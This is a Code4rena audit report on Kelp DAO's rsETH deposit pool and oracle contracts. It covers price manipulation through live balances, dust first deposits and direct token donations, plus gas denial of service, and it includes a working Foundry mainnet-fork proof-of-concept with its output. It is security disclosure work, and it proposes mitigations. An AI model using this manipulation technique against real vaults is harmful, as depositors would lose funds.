Kelp DAO | rsETH - gumgumzum's results

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L119-L144 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L151-L157 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L95-L110 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTOracle.sol#L49-L79 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L47-L51 https://github.com/code-423n4/2023-11-kelp/blob/main/src/LRTDepositPool.sol#L71-L89

Vulnerability details

Impact

• Users getting significantly less / no rsETH for their deposits.
• A malicious user sending LSTs directly to either the deposit pool or node delegators to manipulate the price down.
• Big gas consumption / DoS for deposits.

Proof of Concept

Root Cause

• Usage of live balances in LRTOracle@getRsETHAmountToMint (including currently deposited assets and direct deposits) leading to LST balances with no rsETH counterpart being used when calculating the current rsETH price.
• A precision loss in the first deposit due to LRTOracle@getRsETHAmountToMint returning 1 ether (as there are no rsETH tokens minted yet) but LRTOracle@getAssetPrice still returning the current price of the deposited LST.
• This loop grows by O(nAssets x nDelegators) = O(n²) increasing gas cost any time a new asset or delegator is added.

Diagram

sequenceDiagram
    participant User
    participant LRTDepositPool
    participant LRTOracle
    participant LST ERC20
    participant RSETH ERC20
    participant NodeDelegator
    participant EigenLayerStrategy
    participant ChainlinkPriceOracle
    participant Aggregator

    User->>LRTDepositPool: depositAsset(asset, amount)

    activate User

    activate LRTDepositPool

    LRTDepositPool->>LST ERC20: transferFrom(msg.sender, LRTDepositPool, amount)
    activate LST ERC20
    deactivate LST ERC20
    LST ERC20-->>LRTDepositPool: 
    

    LRTDepositPool->>LRTDepositPool: _mintRsETH(asset, amount)
    
    LRTDepositPool->>LRTDepositPool: getRsETHAmountToMint(asset, amount)
    
    LRTDepositPool->>+LRTOracle: getAssetPrice(asset)
    LRTOracle->>+ChainlinkPriceOracle: getAssetPrice(asset)
    ChainlinkPriceOracle->>+Aggregator: latestAnswer()
    Aggregator-->>-ChainlinkPriceOracle: assetPrice
    ChainlinkPriceOracle-->>-LRTOracle: assetPrice
    LRTOracle-->>-LRTDepositPool: assetPrice

    LRTDepositPool->>+LRTOracle: getRSETHPrice()

    LRTOracle->>+RSETH ERC20: totalSupply()
    RSETH ERC20-->>-LRTOracle: rsETHTotalSupply

    alt rsETHTotalSupply = 0
        LRTOracle-->>LRTDepositPool: 1 ether
    else
        loop assets
            LRTOracle->>+ChainlinkPriceOracle: getAssetPrice(asset)
            ChainlinkPriceOracle->>+Aggregator: latestAnswer()
            Aggregator-->>-ChainlinkPriceOracle: assetPrice
            ChainlinkPriceOracle-->>-LRTOracle: assetPrice

            LRTOracle->>LRTDepositPool: getTotalAssetDeposits(asset)
            LRTDepositPool->>LRTDepositPool: getAssetDistributionData(asset)
            
            LRTDepositPool->>+LST ERC20: balanceOf(LRTDepositPool)
            LST ERC20-->>-LRTDepositPool: assetLyingInDepositPool

            loop nodeDelegators
                LRTDepositPool->>+LST ERC20: balanceOf(delegator)
                LST ERC20-->>-LRTDepositPool: assetLyingInNDCs

                LRTDepositPool->>+NodeDelegator: getAssetBalance(asset)
                NodeDelegator->>+EigenLayerStrategy: userUnderlyingView(delegator)
                EigenLayerStrategy-->>-NodeDelegator: assetStakedInEigenLayer
                NodeDelegator-->>-LRTDepositPool: assetStakedInEigenLayer
            end

            LRTDepositPool-->>LRTOracle: assetLyingInDepositPool + assetLyingInNDCs + assetStakedInEigenLayer

            LRTOracle->>LRTOracle: totalETHInPool += assetPrice * (assetLyingInDepositPool + assetLyingInNDCs + assetStakedInEigenLayer)
        end
        LRTOracle-->>LRTDepositPool: rsETHPrice = totalETHInPool / rsETHTotalSupply    
    end

    deactivate LRTOracle
    
    LRTDepositPool-->>LRTDepositPool: rsETHAmountToMint = amount * assetPrice / rsETHPrice

    LRTDepositPool->>RSETH ERC20: mint(msg.sender, rsETHAmountToMint)
    activate RSETH ERC20
    deactivate RSETH ERC20
    RSETH ERC20-->>LRTDepositPool: 

    LRTDepositPool-->>User: 
    deactivate LRTDepositPool
    deactivate User

Examples

Assuming these prices : 1.09 rETH / ETH, 0.99 stETH / ETH, 1.05 cbETH / ETH

First Scenario

1. Bob initiates the first deposit to the pool with 1 ether amount of rETH
2. Since there are no rsETH tokens minted yet, the rsETH price returned from LRTOracle@getRSETHPrice is 1 ether
3. Bob gets backs 1 ether * 1.09 ether / 1 ether = 1.09 ether of rsETH
4. Bob initiates a second deposit with 1 ether amount of rETH
5. Now that there are rsETH tokens minted, the rsETH price returned from LRTOracle@getRSETHPrice will be equal to (rsETHPriceInETH * (firstDepositAmount + secondDepositAmount)) / (rsETHTotalSupply) = (1.09 ether * (1 ether + 1 ether)) / 1.09 ether = 2 ether
6. Bob gets backs 1 ether * 1.09 ether / 2 ether = 0.545 ether of rsETH

Second Scenario

1. An Attacker initiates N deposits with 1 wei amount of stETH and gets back (1 wei * 0.99 ether) / 1 ether = 0 rsETH
2. The Attacker follows that with a deposit of 2 wei amount of stETH and gets back (2 wei * 0.99 ether) / 1 ether = 1 rsETH
3. Bob deposits 1 ether amount of cbETH
4. As there are rsETH tokens minted now, LRTOracle@getRSETHPrice will return :
   • (((N wei + 2 wei) * 0.99 ether) + (1 ether * 1.05 ether)) / 1 wei if live balances are used
   • ((N wei + 2 wei) * 0.99 ether) / 1 wei if all deposits are tracked separately
5. So Bob will get back a lot less rsETH tokens than expected
   • (1 ether * 1.05 ether) / (((N wei + 2 wei) * 0.99 ether) + (1 ether * 1.05 ether)) if live balances are still used
   • (1 ether * 1.05 ether) / ((N wei + 2 wei) * 0.99 ether) if all deposits are tracked separately

Test

You'll need to add a .env file with a MAINNET_RPC_URL

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.21;

import { Test, console2 } from "forge-std/Test.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ChainlinkPriceOracle } from "src/oracles/ChainlinkPriceOracle.sol";
import { LRTConfig } from "src/LRTConfig.sol";
import { LRTConstants } from "src/utils/LRTConstants.sol";
import { LRTDepositPool } from "src/LRTDepositPool.sol";
import { LRTOracle } from "src/LRTOracle.sol";
import { NodeDelegator } from "src/NodeDelegator.sol";
import { RSETH } from "src/RSETH.sol";
import { ILRTDepositPool } from "src/interfaces/ILRTDepositPool.sol";

import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";

contract MockAggregator {
    uint256 public latestAnswer;

    constructor(uint256 initialAnswer) {
        latestAnswer = initialAnswer;
    }

    function updateAnswer(uint256 newAnswer) external {
        latestAnswer = newAnswer;
    }
}

contract LRTDepositPoolForkTest is Test {
    address constant STETH = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84;
    address constant CBETH = 0xBe9895146f7AF43049ca1c1AE358B0541Ea49704;
    address constant RETH = 0xae78736Cd615f374D3085123A210448E74Fc6393;

    address constant STETH_ORACLE = 0x86392dC19c0b719886221c78AB11eb8Cf5c52812;
    address constant CBETH_ORACLE = 0xF017fcB346A1885194689bA23Eff2fE6fA5C483b;
    address constant RETH_ORACLE = 0x536218f9E9Eb48863970252233c8F271f554C2d0;

    address constant STETH_EIGEN_STRATEGY = 0x93c4b944D05dfe6df7645A86cd2206016c51564D;
    address constant CBETH_EIGEN_STRATEGY = 0x54945180dB7943c0ed0FEE7EdaB2Bd24620256bc;
    address constant RETH_EIGEN_STRATEGY = 0x1BeE69b7dFFfA4E2d53C2a2Df135C388AD25dCD2;

    address constant EIGEN_STRATEGY_MANAGER = 0x858646372CC42E1A627fcE94aa7A7033e7CF075A;

    ProxyAdmin proxyAdmin;
    address admin;
    address bob;

    address lrtConfigContractAddress;
    RSETH rsETHContract;
    LRTConfig lrtConfigContract;
    LRTDepositPool lrtDepositPoolContract;
    LRTOracle lrtOracleContract;
    ChainlinkPriceOracle chainlinkPriceOracleContract;

    function setUp() public {
        uint256 forkId = vm.createFork(vm.envString("MAINNET_RPC_URL"));
        vm.selectFork(forkId);

        admin = makeAddr('admin');
        bob = makeAddr('bob');

        vm.prank(0xfFEFA70B6DEaAb975ef15A6474ce9C4214d82B02);
        IERC20(STETH).transfer(bob, 100 ether);
        deal(CBETH, bob, 100 ether);
        deal(RETH, bob, 100 ether);

        vm.startPrank(admin);
        
        proxyAdmin = new ProxyAdmin();

        LRTConfig implementation = new LRTConfig();

        TransparentUpgradeableProxy proxy = new TransparentUpgradeableProxy(
            address(implementation),
            address(proxyAdmin),
            ""
        );

        lrtConfigContractAddress = address(proxy);
        lrtConfigContract = LRTConfig(lrtConfigContractAddress);
        
        _setUpRSETH();

        lrtConfigContract.initialize(admin, STETH, RETH, CBETH, address(rsETHContract));

        lrtConfigContract.grantRole(LRTConstants.MANAGER, admin);
        
        lrtConfigContract.setContract(LRTConstants.EIGEN_STRATEGY_MANAGER, EIGEN_STRATEGY_MANAGER);

        lrtConfigContract.updateAssetStrategy(STETH, STETH_EIGEN_STRATEGY);
        lrtConfigContract.updateAssetStrategy(CBETH, CBETH_EIGEN_STRATEGY);
        lrtConfigContract.updateAssetStrategy(RETH, RETH_EIGEN_STRATEGY);

        _setUpLRTDepositPool();
        _setUpChainlinkPriceOracle();
        _setUpNodeDelegators(10);
        _setUpLRTOracle();

        vm.stopPrank();
    }

    function _setUpRSETH() internal {
        RSETH implementation = new RSETH();

        TransparentUpgradeableProxy proxy = new TransparentUpgradeableProxy(
            address(implementation),
            address(proxyAdmin),
            ""
        );

        rsETHContract = RSETH(address(proxy));

        rsETHContract.initialize(admin, lrtConfigContractAddress);
    }

    function _setUpLRTDepositPool() internal {
        LRTDepositPool implementation = new LRTDepositPool();

        TransparentUpgradeableProxy proxy = new TransparentUpgradeableProxy(
            address(implementation),
            address(proxyAdmin),
            ""
        );

        lrtDepositPoolContract = LRTDepositPool(address(proxy));

        lrtDepositPoolContract.initialize(lrtConfigContractAddress);

        lrtConfigContract.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(proxy));

        rsETHContract.grantRole(keccak256("MINTER_ROLE"), address(lrtDepositPoolContract));
    }

    function _setUpLRTOracle() internal {
        LRTOracle implementation = new LRTOracle();

        TransparentUpgradeableProxy proxy = new TransparentUpgradeableProxy(
            address(implementation),
            address(proxyAdmin),
            ""
        );

        lrtOracleContract = LRTOracle(address(proxy));

        lrtOracleContract.initialize(lrtConfigContractAddress);

        lrtOracleContract.updatePriceOracleFor(STETH, address(chainlinkPriceOracleContract));
        lrtOracleContract.updatePriceOracleFor(CBETH, address(chainlinkPriceOracleContract));
        lrtOracleContract.updatePriceOracleFor(RETH, address(chainlinkPriceOracleContract));
        
        lrtConfigContract.setContract(LRTConstants.LRT_ORACLE, address(proxy));
    }

    function _setUpChainlinkPriceOracle() internal {
        ChainlinkPriceOracle implementation = new ChainlinkPriceOracle();

        TransparentUpgradeableProxy proxy = new TransparentUpgradeableProxy(
            address(implementation),
            address(proxyAdmin),
            ""
        );

        chainlinkPriceOracleContract = ChainlinkPriceOracle(address(proxy));

        chainlinkPriceOracleContract.initialize(lrtConfigContractAddress);

        chainlinkPriceOracleContract.updatePriceFeedFor(STETH, STETH_ORACLE);
        chainlinkPriceOracleContract.updatePriceFeedFor(CBETH, CBETH_ORACLE);
        chainlinkPriceOracleContract.updatePriceFeedFor(RETH, RETH_ORACLE);
    }

    function _setUpNodeDelegators(uint256 n) internal {
        address[] memory delegators = new address[](n);

        for (uint256 i = 0; i < n; i++) {
            NodeDelegator implementation = new NodeDelegator();

            TransparentUpgradeableProxy proxy = new TransparentUpgradeableProxy(
                address(implementation),
                address(proxyAdmin),
                ""
            );

            delegators[i] = address(proxy);

            NodeDelegator delegator = NodeDelegator(delegators[i]);

            delegator.initialize(lrtConfigContractAddress);
        }

        lrtDepositPoolContract.addNodeDelegatorContractToQueue(delegators);
    }

    function testDeposit1Wei() public {
        vm.startPrank(bob);

        IERC20(RETH).approve(address(lrtDepositPoolContract), 1);
        IERC20(CBETH).approve(address(lrtDepositPoolContract), 1 ether);
        
        lrtDepositPoolContract.depositAsset(RETH, 1 wei);
        lrtDepositPoolContract.depositAsset(CBETH, 1 ether);

        vm.stopPrank();

        assertApproxEqAbs(rsETHContract.balanceOf(bob), 1 ether, 0.05 ether);
    }

    function testDeposit1Ether() public {
        vm.startPrank(bob);

        IERC20(RETH).approve(address(lrtDepositPoolContract), 1 ether);
        IERC20(CBETH).approve(address(lrtDepositPoolContract), 1 ether);
        
        lrtDepositPoolContract.depositAsset(RETH, 1 ether);
        lrtDepositPoolContract.depositAsset(CBETH, 1 ether);

        vm.stopPrank();

        assertApproxEqAbs(rsETHContract.balanceOf(bob), 2 ether, 0.05 ether);
    }

    function testDepositAfterDirectTransfer() public {
        vm.startPrank(bob);

        IERC20(RETH).approve(address(lrtDepositPoolContract), 1);
        IERC20(CBETH).approve(address(lrtDepositPoolContract), 1 ether);
        
        IERC20(RETH).transfer(address(lrtDepositPoolContract), 1 ether);
        lrtDepositPoolContract.depositAsset(RETH, 1 wei);
        lrtDepositPoolContract.depositAsset(CBETH, 1 ether);

        vm.stopPrank();

        assertApproxEqAbs(rsETHContract.balanceOf(bob), 1 ether, 0.05 ether);
    }

    function testDepositPrecisionLoss() public {
        vm.startPrank(bob);

        IERC20(STETH).approve(address(lrtDepositPoolContract), 1 ether);
        IERC20(CBETH).approve(address(lrtDepositPoolContract), 1 ether);
        
        lrtDepositPoolContract.depositAsset(STETH, 1 wei);
        lrtDepositPoolContract.depositAsset(STETH, 1 wei);
        lrtDepositPoolContract.depositAsset(STETH, 1 wei);
        lrtDepositPoolContract.depositAsset(STETH, 1 wei);
        lrtDepositPoolContract.depositAsset(STETH, 2 wei);
        lrtDepositPoolContract.depositAsset(CBETH, 1 ether);

        vm.stopPrank();

        assertApproxEqAbs(rsETHContract.balanceOf(bob), 1 ether, 0.05 ether);
    }
}

Results

[⠰] Compiling...
[⠆] Compiling 4 files with 0.8.21
[⠊] Solc 0.8.21 finished in 26.54s
Compiler run successful!

Running 4 tests for test/LRTDepositPoolForkTest.t.sol:LRTDepositPoolForkTest
[FAIL. Reason: Assertion failed.] testDeposit1Ether() (gas: 1440461)
Logs:
  Error: a ~= b not satisfied [uint]
        Left: 1626350399672417519
       Right: 2000000000000000000
   Max Delta: 50000000000000000
       Delta: 373649600327582481

[FAIL. Reason: Assertion failed.] testDeposit1Wei() (gas: 1440429)
Logs:
  Error: a ~= b not satisfied [uint]
        Left: 1
       Right: 1000000000000000000
   Max Delta: 50000000000000000
       Delta: 999999999999999999

[FAIL. Reason: Assertion failed.] testDepositAfterDirectTransfer() (gas: 1445580)
Logs:
  Error: a ~= b not satisfied [uint]
        Left: 1
       Right: 1000000000000000000
   Max Delta: 50000000000000000
       Delta: 999999999999999999

[FAIL. Reason: Assertion failed.] testDepositPrecisionLoss() (gas: 2650042)
Logs:
  Error: a ~= b not satisfied [uint]
        Left: 1
       Right: 1000000000000000000
   Max Delta: 50000000000000000
       Delta: 999999999999999999

Test result: FAILED. 0 passed; 4 failed; 0 skipped; finished in 23.48s
 
Ran 1 test suites: 0 tests passed, 4 failed, 0 skipped (4 total tests)

Failing tests:
Encountered 4 failing tests in test/LRTDepositPoolForkTest.t.sol:LRTDepositPoolForkTest
[FAIL. Reason: Assertion failed.] testDeposit1Ether() (gas: 1440461)
[FAIL. Reason: Assertion failed.] testDeposit1Wei() (gas: 1440429)
[FAIL. Reason: Assertion failed.] testDepositAfterDirectTransfer() (gas: 1445580)
[FAIL. Reason: Assertion failed.] testDepositPrecisionLoss() (gas: 2650042)

Encountered a total of 4 failing tests, 0 tests succeeded

Gas cost for 3 assets and 600 node delegators (~30M)

Tools Used

Manual Review

Recommended Mitigation Steps

• Keep track of deposited amounts and don't rely on live balances.
• Have a minimum deposit amount.

Assessed type

Other

NodeDelegator deposits possible failure

In NodeDelegator@depositAssetIntoStrategy, when the deposited LST balance is close to the remaining available deposits (maxTotalDeposits - depositedSoFar) for the corresponding EigenLayer Strategy, the deposit will fail if it is front ran by other regular deposits or a malicious user sending enough LST tokens directly to the NodeDelegator to tip it over the limit.

This would require the admin to transfer enough LSTs back from the NodeDelegator to the LRTDepositPool to go back below the limit after each failure before reinitiating another.

Potential revenue sharing issues

This is mainly based on the assumption that revenue sharing will be based on the rsETH amounts held by each user and the fact that :

• The three step process for depositing assets into strategies (User -> LRTDepositPool -> NodeDelegators -> EigenLayer Strategies).
• EigenLayer Strategies deposits limits means that the NodeDelegators will likely not be able to deposit all LSTs deposited by users.
• There is no way to differentiate which LSTs from which users were deposited to the EigenLayer Strategies.
• NodeDelegators will only claim rewards based on the amount of LSTs they deposited.

This means that any rewards claimed by NodeDelegators might be distributed across all rsETH holders regardless of whether their deposited LST tokens were forwarded to the EigenLayer Strategies or not.

Oracle usage issues

For reference :

• Using latestAnswer instead of latestRoundData with sanity checks (.e.g for stale price, )
• Considering rsETH can be tradable and the absence of fees when depositing, arbitrage opportunities (Flashloan LST / swap ETH to LST -> deposit LST -> swap rsETH to ETH / LST and repay flashloan) may arise when the price of an LST fluctuates within the deviation and heartbeat of the associated oracle.
• Decimals are assumed to be 18 and while this is true for the currently supported assets oracles, nothing guarantees that future ones will abide to that.
• A revert from one / multiple of the supported LSTs oracles can lead to a full / partial DoS of deposits and any other parts relying on the LST prices.
• A failover is not possible without admin action as only one oracle can be used per asset at once

Since LST can only use one strategy, deposit limits should be lower than the corresponding EigenLayer Strategies limits (currently 100k as well for stETH, cbETH and rETH strategies)

Since LRTDepositPool, LRTOracle, RSETH and EigenLayer StrategyManager are upgradable contracts, their addresses can be immutable once set in LRTConfig